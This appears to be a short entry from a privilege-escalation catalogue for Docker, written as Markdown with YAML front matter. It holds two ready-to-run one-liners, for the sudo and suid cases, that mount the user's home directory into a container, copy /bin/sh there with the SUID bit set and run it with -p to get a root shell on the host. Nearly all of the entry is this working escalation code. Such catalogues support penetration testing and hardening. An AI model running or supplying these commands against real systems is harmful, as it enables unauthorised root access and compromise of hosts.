14 lines
598 B
Markdown
14 lines
598 B
Markdown
---
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description: |
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Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`.
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functions:
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sudo:
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- code: |
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sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
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sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
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suid:
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- code: |
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./docker run --rm -v /home/$USER:/h_docs ubuntu \
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sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
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---
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